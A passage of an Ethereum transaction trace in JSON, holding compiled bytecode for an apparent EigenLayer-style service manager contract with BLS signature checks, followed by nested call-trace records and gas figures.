bc6014560891c6001600160a01b031663249a0c4260405180604001604052806001815260200160008152508581518110611a0a57611a0a614d78565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa158015611a4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a729190614dc3565b611a7c9190614d4a565b11611b125760405162461bcd60e51b815260206004820152606660248201526000805160206153f283398151915260448201527f7265733a205374616b6552656769737472792075706461746573206d7573742060648201527f62652077697468696e207769746864726177616c44656c6179426c6f636b732060848201526577696e646f7760d01b60a482015260c401610854565b7f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e6001600160a01b03166368bccaac60405180604001604052806001815260200160008152508381518110611b6957611b69614d78565b602001015160f81c60f81b60f81c8c8c60a001518581518110611b8e57611b8e614d78565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015611bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0e9190614eb0565b6001600160401b031916611c318a60400151838151811061167757611677614d78565b67ffffffffffffffff191614611ccd5760405162461bcd60e51b815260206004820152606160248201526000805160206153f283398151915260448201527f7265733a2071756f72756d41706b206861736820696e2073746f72616765206460648201527f6f6573206e6f74206d617463682070726f76696465642071756f72756d2061706084820152606b60f81b60a482015260c401610854565b611cfd89604001518281518110611ce657611ce6614d78565b60200260200101518761351190919063ffffffff16565b95507f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b031663c8294c5660405180604001604052806001815260200160008152508381518110611d5657611d56614d78565b602001015160f81c60f81b60f81c8c8c60c001518581518110611d7b57611d7b614d78565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015611dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dfb9190614edb565b85602001518281518110611e1157611e11614d78565b6001600160601b03909216602092830291909101820152850151805182908110611e3d57611e3d614d78565b602002602001015185600001518281518110611e5b57611e5b614d78565b60200260200101906001600160601b031690816001600160601b0316815250506000805b8a602001515181101561206d57611eea86600001518281518110611ea557611ea5614d78565b602002602001015160405180604001604052806001815260200160008152508581518110611ed557611ed5614d78565b016020015160f81c60ff161c60019081161490565b15612065577f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b031663f2be94ae60405180604001604052806001815260200160008152508581518110611f4657611f46614d78565b602001015160f81c60f81b60f81c8e89602001518581518110611f6b57611f6b614d78565b60200260200101518f60e001518881518110611f8957611f89614d78565b60200260200101518781518110611fa257611fa2614d78565b60209081029190910101516040516001600160e01b031960e087901b16815260ff909416600485015263ffffffff92831660248501526044840191909152166064820152608401602060405180830381865afa158015612006573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202a9190614edb565b875180518590811061203e5761203e614d78565b602002602001018181516120529190614ef8565b6001600160601b03169052506001909101905b600101611e7f565b5050600101611986565b5050506000806120918a868a606001518b608001516109c0565b91509150816121025760405162461bcd60e51b815260206004820152604360248201526000805160206153f283398151915260448201527f7265733a2070616972696e6720707265636f6d70696c652063616c6c206661696064820152621b195960ea1b608482015260a401610854565b806121635760405162461bcd60e51b815260206004820152603960248201526000805160206153f283398151915260448201527f7265733a207369676e617475726520697320696e76616c6964000000000000006064820152608401610854565b5050600087826020015160405160200161217e929190614f17565b60408051808303601f1901815291905280516020909101209299929850919650505050505050565b6121ae61390f565b6121b86000613d17565b565b600054600290610100900460ff161580156121dc575060005460ff8083169116105b6121f85760405162461bcd60e51b815260040161085490614f5f565b6000805461ffff191660ff83161761010017905561221582612fd3565b6000805461ff001916905560405160ff821681527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b600081848460405161226d929190614fad565b60405180910390201490509392505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146122c75760405162461bcd60e51b815260040161085490614fbd565b604051639926ee7d60e01b81526001600160a01b037f0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757071690639926ee7d90612315908590859060040161507b565b600060405180830381600087803b15801561232f57600080fd5b505af1158015612343573d6000803e3d6000fd5b505050505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146123935760405162461bcd60e51b815260040161085490614fbd565b6040516351b27a6d60e11b81526001600160a01b0382811660048301527f0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f875707169063a364f4da906024015b600060405180830381600087803b1580156123f757600080fd5b505af115801561240b573d6000803e3d6000fd5b5050505050565b61241a61390f565b60405163a98fb35560e01b81526001600160a01b037f0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f875707169063a98fb355906123dd9084906004016150c6565b60cb546001600160a01b031633146124a65760cb54604051632cbe419560e01b81523360048201526001600160a01b039091166024820152604401610854565b60005a9050600084846040516020016124c0929190614d5d565b60408051601f198184030181529181528151602092830120600081815260c990935290822080549193509163ffffffff9091169003612515576040516311cb69a760e11b815260048101839052602401610854565b8054640100000000900460ff161561254357604051634e78d7f960e11b815260048101839052602401610854565b805464ff00000000191664010000000017815560018101546001600160a01b038616600090815260ca602052604090205410156125c65760018101546001600160a01b038616600081815260ca602052604090819020549051632e2a182f60e11b8152600481019290925260248201929092526044810191909152606401610854565b80546000906125dd90849063ffffffff1687611272565b509050604360ff1681602001516000815181106125fc576125fc614d78565b602002602001015161260e91906150d9565b6001600160601b03166064826000015160008151811061263057612630614d78565b60200260200101516001600160601b031661264b9190615102565b10156126de576064816000015160008151811061266a5761266a614d78565b60200260200101516001600160601b03166126859190615102565b604360ff1682602001516000815181106126a1576126a1614d78565b60200260200101516126b391906150d9565b60405163530f5c4560e11b815260048101929092526001600160601b03166024820152604401610854565b6040516001600160a01b038716815287907f8511746b73275e06971968773119b9601fc501d7bdf3824d8754042d148940e29060200160405180910390a260003a5a61272a9087614db0565b6127379062011170614d4a565b6127419190615102565b9050826001015481111561277857600183015460405163437e283f60e11b8152600481019190915260248101829052604401610854565b6001600160a01b038716600090815260ca6020526040812080548392906127a0908490614db0565b90915550506001600160a01b038716600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a260cb546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561281a573d6000803e3d6000fd5b505050505050505050565b61282d61390f565b60cc55565b600054610100900460ff16158080156128525750600054600160ff909116105b8061286c5750303b15801561286c575060005460ff166001145b6128885760405162461bcd60e51b815260040161085490614f5f565b6000805460ff1916600117905580156128ab576000805461ff0019166101001790555b6001600160a01b0384166128f157604051630b0f5aa160e11b815260206004820152600c60248201526b34b734ba34b0b627bbb732b960a11b6044820152606401610854565b6001600160a01b03831661293b57604051630b0f5aa160e11b815260206004820152601060248201526f3932bbb0b93239a4b734ba34b0ba37b960811b6044820152606401610854565b6001600160a01b03821661298657604051630b0f5aa160e11b815260206004820152601160248201527030b634b3b732b220b3b3b932b3b0ba37b960791b6044820152606401610854565b6129908484613d69565b60cb80546001600160a01b0319166001600160a01b03841617905580156129f1576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60008433604051602001612a0c929190614d5d565b60408051601f198184030181529181528151602092830120600081815260c990935291205490915063ffffffff1615612a5b57604051630c40bc4360e21b815260048101829052602401610854565b3415612ab85733600090815260ca602052604081208054349290612a80908490614d4a565b909155505033600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a25b33600090815260ca6020526040902054821115612b095733600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482018490526044820152606401610854565b604080516060810182526000602080830182815263ffffffff43818116865285870189815288865260c99094529386902085518154935115156401000000000264ffffffffff1990941692169190911791909117815590516001909101559151909187917f8801fc966deb2c8f563a103c35c9e80740585c292cd97518587e6e7927e6af5591612ba1913391908a908a908a90615119565b60405180910390a2505050505050565b606060007f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612c13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c379190614e05565b60ff16905080600003612c5857505060408051600081526020810190915290565b6000805b82811015612d0357604051633ca5a5f560e01b815260ff821660048201527f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b031690633ca5a5f590602401602060405180830381865afa158015612ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cef9190614dc3565b612cf99083614d4a565b9150600101612c5c565b506000816001600160401b03811115612d1e57612d1e614288565b604051908082528060200260200182016040528015612d47578160200160208202803683370190505b5090506000805b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612dac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612dd09190614e05565b60ff16811015612f5357604051633ca5a5f560e01b815260ff821660048201526000907f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b031690633ca5a5f590602401602060405180830381865afa158015612e44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e689190614dc3565b905060005b81811015612f49576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b03169063adc804da906044016040805180830381865afa158015612ee2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f069190614e37565b60000151858581518110612f1c57612f1c614d78565b6001600160a01b039092166020928302919091019091015283612f3e81614e7a565b945050600101612e6d565b5050600101612d4e565b5090949350505050565b612f6561390f565b6001600160a01b038116612fca5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610854565b61112e81613d17565b612fdb61390f565b60cb80546001600160a01b0319166001600160a01b0392909216919091179055565b6040516306045a9160e01b815260009030906306045a9190613031908b908b908b908b908b908b908b908b90600401615170565b602060405180830381865afa15801561304e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b491906151d2565b6065546001600160a01b031633146131075760405162461bcd60e51b815260206004820152604c60248201527f536572766963654d616e61676572426173652e6f6e6c7952657761726473496e60448201527f69746961746f723a2063616c6c6572206973206e6f742074686520726577617260648201526b32399034b734ba34b0ba37b960a11b608482015260a401610854565b60005b818110156133d25782828281811061312457613124614d78565b905060200281019061313691906151ef565b613147906040810190602001614599565b6001600160a01b03166323b872dd333086868681811061316957613169614d78565b905060200281019061317b91906151ef565b604080516001600160e01b031960e087901b1681526001600160a01b039485166004820152939092166024840152013560448201526064016020604051808303816000875af11580156131d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f691906151d2565b50600083838381811061320b5761320b614d78565b905060200281019061321d91906151ef565b61322e906040810190602001614599565b604051636eb1769f60e11b81523060048201526001600160a01b037f0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f81166024830152919091169063dd62ed3e90604401602060405180830381865afa15801561329c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132c09190614dc3565b90508383838181106132d4576132d4614d78565b90506020028101906132e691906151ef565b6132f7906040810190602001614599565b6001600160a01b031663095ea7b37f0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f8387878781811061333957613339614d78565b905060200281019061334b91906151ef565b604001356133599190614d4a565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af11580156133a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133c891906151d2565b505060010161310a565b5060405163fce36c7d60e01b81526001600160a01b037f0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f169063fce36c7d906123159085908590600401615276565b61342961390f565b60cc8054600160ff841690811b9091179091556040517fec54a85c01b5fc7fb41be0f33eabc56f2981110da8317b9817bc7c718f6d7bfe90600090a250565b600083613476868585613de6565b1495945050505050565b604080518082019091526000808252602082015261349c614196565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa905080806134cb57fe5b50806135095760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b6044820152606401610854565b505092915050565b604080518082019091526000808252602082015261352d6141b4565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa9050808061356857fe5b50806135095760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b6044820152606401610854565b6135ae6141d2565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b6040805180820190915260008082526020820152600080806136966000805160206153b283398151915286614d8e565b90505b6136a281613ee3565b90935091506000805160206153b283398151915282830983036136db576040805180820190915290815260208101919091529392505050565b6000805160206153b2833981519152600182089050613699565b6040805180820182528681526020808201869052825180840190935286835282018490526000918291906137276141f7565b60005b60028110156138e2576000613740826006615102565b905084826002811061375457613754614d78565b60200201515183613766836000614d4a565b600c811061377657613776614d78565b602002015284826002811061378d5761378d614d78565b602002015160200151838260016137a49190614d4a565b600c81106137b4576137b4614d78565b60200201528382600281106137cb576137cb614d78565b60200201515151836137de836002614d4a565b600c81106137ee576137ee614d78565b602002015283826002811061380557613805614d78565b602002015151600160200201518361381e836003614d4a565b600c811061382e5761382e614d78565b602002015283826002811061384557613845614d78565b60200201516020015160006002811061386057613860614d78565b602002015183613871836004614d4a565b600c811061388157613881614d78565b602002015283826002811061389857613898614d78565b6020020151602001516001600281106138b3576138b3614d78565b6020020151836138c4836005614d4a565b600c81106138d4576138d4614d78565b60200201525060010161372a565b506138eb614216565b60006020826101808560088cfa9151919c9115159b50909950505050505050505050565b6033546001600160a01b031633146121b85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610854565b606060008061397784613b6e565b61ffff166001600160401b0381111561399257613992614288565b6040519080825280601f01601f1916602001820160405280156139bc576020820181803683370190505b5090506000805b8251821080156139d4575061010081105b15612f53576001811b935085841615613a1b578060f81b8383815181106139fd576139fd614d78565b60200101906001600160f81b031916908160001a9053508160010191505b613a2481614e7a565b90506139c3565b606554604080516001600160a01b03928316815291831660208301527fe11cddf1816a43318ca175bbc52cd0185436e9cbead7c83acc54a73e461717e3910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6097805460ff19168215159081179091556040519081527f40e4ed880a29e0f6ddce307457fb75cddf4feef7d3ecb0301bfdf4976a0e2dfc9060200160405180910390a150565b600080613ae784613f65565b9050808360ff166001901b11613b655760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c7565006064820152608401610854565b90505b92915050565b6000805b8215613b6857613b83600184614db0565b9092169180613b9181615390565b915050613b72565b60408051808201909152600080825260208201526102008261ffff1610613bf55760405162461bcd60e51b815260206004820152601060248201526f7363616c61722d746f6f2d6c6172676560801b6044820152606401610854565b8161ffff16600103613c08575081613b68565b6040805180820190915260008082526020820181905284906001905b8161ffff168661ffff1610613c7157600161ffff871660ff83161c81169003613c5457613c518484613511565b93505b613c5e8384613511565b92506201fffe600192831b169101613c24565b509195945050505050565b60408051808201909152600080825260208201528151158015613ca157506020820151155b15613cbf575050604080518082019091526000808252602082015290565b6040518060400160405280836000015181526020016000805160206153b28339815191528460200151613cf29190614d8e565b613d0a906000805160206153b2833981519152614db0565b905292915050565b919050565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff16613dd45760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610854565b613ddd82613d17565b610c6681613a2b565b600060208451613df69190614d8e565b15613e7d5760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a401610854565b8260205b85518111610e3a57613e94600285614d8e565b600003613eb857816000528086015160205260406000209150600284049350613ed1565b8086015160005281602052604060002091506002840493505b613edc602082614d4a565b9050613e81565b600080806000805160206153b283398151915260036000805160206153b2833981519152866000805160206153b2833981519152888909090890506000613f59827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f526000805160206153b28339815191526140ed565b91959194509092505050565b600061010082511115613fee5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a401610854565b8151600003613fff57506000919050565b6000808360008151811061401557614015614d78565b0160200151600160f89190911c81901b92505b84518110156140e45784818151811061404357614043614d78565b0160200151600160f89190911c1b91508282116140d85760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a401610854565b91811791600101614028565b50909392505050565b6000806140f8614216565b614100614234565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa9250828061413d57fe5b508261418b5760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c7572650000000000006044820152606401610854565b505195945050505050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b60405180604001604052806141e5614252565b81526020016141f2614252565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b80356001600160601b031981168114613d1257600080fd5b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b03811182821017156142c0576142c0614288565b60405290565b60405161010081016001600160401b03811182821017156142c0576142c0614288565b604051601f8201601f191681016001600160401b038111828210171561431157614311614288565b604052919050565b6000806001600160401b0384111561433357614333614288565b50601f8301601f1916602001614348816142e9565b91505082815283838301111561435d57600080fd5b828260208301376000602084830101529392505050565b600082601f83011261438557600080fd5b61439483833560208501614319565b9392505050565b6001600160a01b038116811461112e57600080fd5b600080600080600080600080610100898b0312156143cd57600080fd5b8835975060208901359650604089013595506143eb60608a01614270565b94506080890135935060a08901356001600160401b0381111561440d57600080fd5b6144198b828c01614374565b93505060c0890135915060e08901356144318161439b565b809150509295985092959890939650565b60ff8116811461112e57600080fd5b60006020828403121561446357600080fd5b8135613b6581614442565b60006040828403121561448057600080fd5b61448861429e565b823581526020928301359281019290925250919050565b600082601f8301126144b057600080fd5b6144b861429e565b8060408401858111156144ca57600080fd5b845b818110156144e45780358452602093840193016144cc565b509095945050505050565b60006080828403121561450157600080fd5b61450961429e565b9050614515838361449f565b8152614524836040840161449f565b602082015292915050565b600080600080610120858703121561454657600080fd5b84359350614557866020870161446e565b925061456686606087016144ef565b91506145758660e0870161446e565b905092959194509250565b60006020828403121561459257600080fd5b5035919050565b6000602082840312156145ab57600080fd5b8135613b658161439b565b602080825282518282018190526000918401906040840190835b818110156144e45783516001600160a01b03168352602093840193909201916001016145d0565b801515811461112e57600080fd5b60006020828403121561461757600080fd5b8135613b65816145f7565b803563ffffffff81168114613d1257600080fd5b60006001600160401b0382111561464f5761464f614288565b5060051b60200190565b600082601f83011261466a57600080fd5b813561467d61467882614636565b6142e9565b8082825260208201915060208360051b86010192508583111561469f57600080fd5b602085015b838110156146c3576146b581614622565b8352602092830192016146a4565b5095945050505050565b600082601f8301126146de57600080fd5b81356146ec61467882614636565b8082825260208201915060208360061b86010192508583111561470e57600080fd5b602085015b838110156146c357614725878261446e565b8352602090920191604001614713565b600082601f83011261474657600080fd5b813561475461467882614636565b8082825260208201915060208360051b86010192508583111561477657600080fd5b602085015b838110156146c35780356001600160401b0381111561479957600080fd5b6147a8886020838a0101614659565b8452506020928301920161477b565b600061018082840312156147ca57600080fd5b6147d26142c6565b905081356001600160401b038111156147ea57600080fd5b6147f684828501614659565b82525060208201356001600160401b0381111561481257600080fd5b61481e848285016146cd565b60208301525060408201356001600160401b0381111561483d57600080fd5b614849848285016146cd565b60408301525061485c83606084016144ef565b606082015261486e8360e0840161446e565b60808201526101208201356001600160401b0381111561488d57600080fd5b61489984828501614659565b60a0830152506101408201356001600160401b038111156148b957600080fd5b6148c584828501614659565b60c0830152506101608201356001600160401b038111156148e557600080fd5b6148f184828501614735565b60e08301525092915050565b60008060006060848603121561491257600080fd5b8335925061492260208501614622565b915060408401356001600160401b0381111561493d57600080fd5b614949868287016147b7565b9150509250925092565b600081518084526020840193506020830160005b8281101561498e5781516001600160601b0316865260209586019590910190600101614967565b5093949350505050565b60408152600083516040808401526149b36080840182614953565b90506020850151603f198483030160608501526149d08282614953565b925050508260208301529392505050565b60008083601f8401126149f357600080fd5b5081356001600160401b03811115614a0a57600080fd5b602083019150836020828501011115614a2257600080fd5b9250929050565b600080600060408486031215614a3e57600080fd5b83356001600160401b03811115614a5457600080fd5b614a60868287016149e1565b909790965060209590950135949350505050565b60008060408385031215614a8757600080fd5b8235614a928161439b565b915060208301356001600160401b03811115614aad57600080fd5b830160608186031215614abf57600080fd5b604051606081016001600160401b0381118282101715614ae157614ae1614288565b60405281356001600160401b03811115614afa57600080fd5b614b0687828501614374565b8252506020828101359082015260409182013591810191909152919491935090915050565b600060208284031215614b3d57600080fd5b81356001600160401b03811115614b5357600080fd5b8201601f81018413614b6457600080fd5b614b7384823560208401614319565b949350505050565b600080600060608486031215614b9057600080fd5b8335925060208401356149228161439b565b600080600060608486031215614bb757600080fd5b8335614bc28161439b565b92506020840135614bd28161439b565b91506040840135614be28161439b565b809150509250925092565b60008060008060608587031215614c0357600080fd5b8435935060208501356001600160401b03811115614c2057600080fd5b614c2c878288016149e1565b9598909750949560400135949350505050565b600080600080600080600060e0888a031215614c5a57600080fd5b873596506020880135955060408801359450614c7860608901614270565b93506080880135925060a08801356001600160401b03811115614c9a57600080fd5b614ca68a828b01614374565b979a969950949793969295929450505060c09091013590565b60008060208385031215614cd257600080fd5b82356001600160401b03811115614ce857600080fd5b8301601f81018513614cf957600080fd5b80356001600160401b03811115614d0f57600080fd5b8560208260051b8401011115614d2457600080fd5b6020919091019590945092505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115613b6857613b68614d34565b91825260601b6001600160601b031916602082015260340190565b634e487b7160e01b600052603260045260246000fd5b600082614dab57634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115613b6857613b68614d34565b600060208284031215614dd557600080fd5b5051919050565b600060208284031215614dee57600080fd5b81516001600160c01b0381168114613b6557600080fd5b600060208284031215614e1757600080fd5b8151613b6581614442565b6001600160601b038116811461112e57600080fd5b60006040828403128015614e4a57600080fd5b50614e5361429e565b8251614e5e8161439b565b81526020830151614e6e81614e22565b60208201529392505050565b600060018201614e8c57614e8c614d34565b5060010190565b600060208284031215614ea557600080fd5b8151613b658161439b565b600060208284031215614ec257600080fd5b815167ffffffffffffffff1981168114613b6557600080fd5b600060208284031215614eed57600080fd5b8151613b6581614e22565b6001600160601b038281168282160390811115613b6857613b68614d34565b63ffffffff60e01b8360e01b16815260006004820183516020850160005b82811015614f53578151845260209384019390910190600101614f35565b50919695505050505050565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b8183823760009101908152919050565b60208082526052908201527f536572766963654d616e61676572426173652e6f6e6c7952656769737472794360408201527f6f6f7264696e61746f723a2063616c6c6572206973206e6f742074686520726560608201527133b4b9ba393c9031b7b7b93234b730ba37b960711b608082015260a00190565b6000815180845260005b8181101561505b5760208185018101518683018201520161503f565b506000602082860101526020601f19601f83011685010191505092915050565b60018060a01b03831681526040602082015260008251606060408401526150a560a0840182615035565b90506020840151606084015260408401516080840152809150509392505050565b6020815260006143946020830184615035565b6001600160601b0381811683821602908116908181146150fb576150fb614d34565b5092915050565b8082028115828204841417613b6857613b68614d34565b6001600160a01b038616815263ffffffff851660208201526080604082018190528101839052828460a0830137600060a08483010152600060a0601f19601f86011683010190508260608301529695505050505050565b8881528760208201528660408201526001600160601b03198616606082015284608082015261010060a082015260006151ad610100830186615035565b60c0830194909452506001600160a01b039190911660e0909101529695505050505050565b6000602082840312156151e457600080fd5b8151613b65816145f7565b60008235609e1983360301811261520557600080fd5b9190910192915050565b8035613d128161439b565b81835260208301925060008160005b8481101561498e57813561523c8161439b565b6001600160a01b03168652602082013561525581614e22565b6001600160601b031660208701526040958601959190910190600101615229565b6020808252810182905260006040600584901b830181019083018583609e1936839003015b8782101561538357868503603f1901845282358181126152ba57600080fd5b8901803536829003601e190181126152d157600080fd5b81016020810190356001600160401b038111156152ed57600080fd5b8060061b36038213156152ff57600080fd5b60a0885261531160a08901828461521a565b9150506153206020830161520f565b6001600160a01b031660208801526040828101359088015261534460608301614622565b63ffffffff16606088015261535b60808301614622565b63ffffffff81166080890152915095505060209384019392909201916001919091019061529b565b5092979650505050505050565b600061ffff821661ffff81036153a8576153a8614d34565b6001019291505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd470ea46f246ccfc58f7a93aa09bc6245a6818e97b1a160d186afe78993a3b194a0424c535369676e6174757265436865636b65722e636865636b5369676e617475a26469706673582212203440c2bb4ebecaa44bea7577804670f85f619a11d945ae9f1a6045acfe7e7db564736f6c634300081c0033","gas_used":4367829,"gas_limit":5797752,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0},{"Call":1},{"Call":2}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x809d550fca64d94bd9f66e60752a544199cfac3d","address":"0x851356ae760d987e095750cceb3bc6014560891c","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"STATICCALL","value":"0x0","data":"0x68304835","output":"0x00000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778","gas_used":7645,"gas_limit":5680689,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0x851356ae760d987e095750cceb3bc6014560891c","address":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x68304835","output":"0x00000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778","gas_used":350,"gas_limit":5584788,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]},{"parent":0,"children":[4],"idx":3,"trace":{"depth":1,"success":true,"caller":"0x809d550fca64d94bd9f66e60752a544199cfac3d","address":"0x851356ae760d987e095750cceb3bc6014560891c","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"STATICCALL","value":"0x0","data":"0x5df45946","output":"0x000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e","gas_used":1101,"gas_limit":5672697,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":3,"children":[],"idx":4,"trace":{"depth":2,"success":true,"caller":"0x851356ae760d987e095750cceb3bc6014560891c","address":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x5df45946","output":"0x000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e","gas_used":306,"gas_limit":5583319,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]},{"parent":0,"children":[6],"idx":5,"trace":{"depth":1,"success":true,"caller":"0x809d550fca64d94bd9f66e60752a544199cfac3d","address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"STATICCALL","value":"0x0","data":"0xdf5cf723","output":"0x000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","gas_used":7622,"gas_limit":5668682,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":5,"children":[],"idx":6,"trace":{"depth":2,"success":true,"caller":"0x95401dc811bb5740090279ba06cfa8fcf6113778","address":"0x99bba657f2bbc93c02d617f8ba121cb8fc104acf","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xdf5cf723","output":"0x000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","gas_used":327,"gas_limit":5572969,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x6080604052600436106102345760003560e01c806395c6d6041161012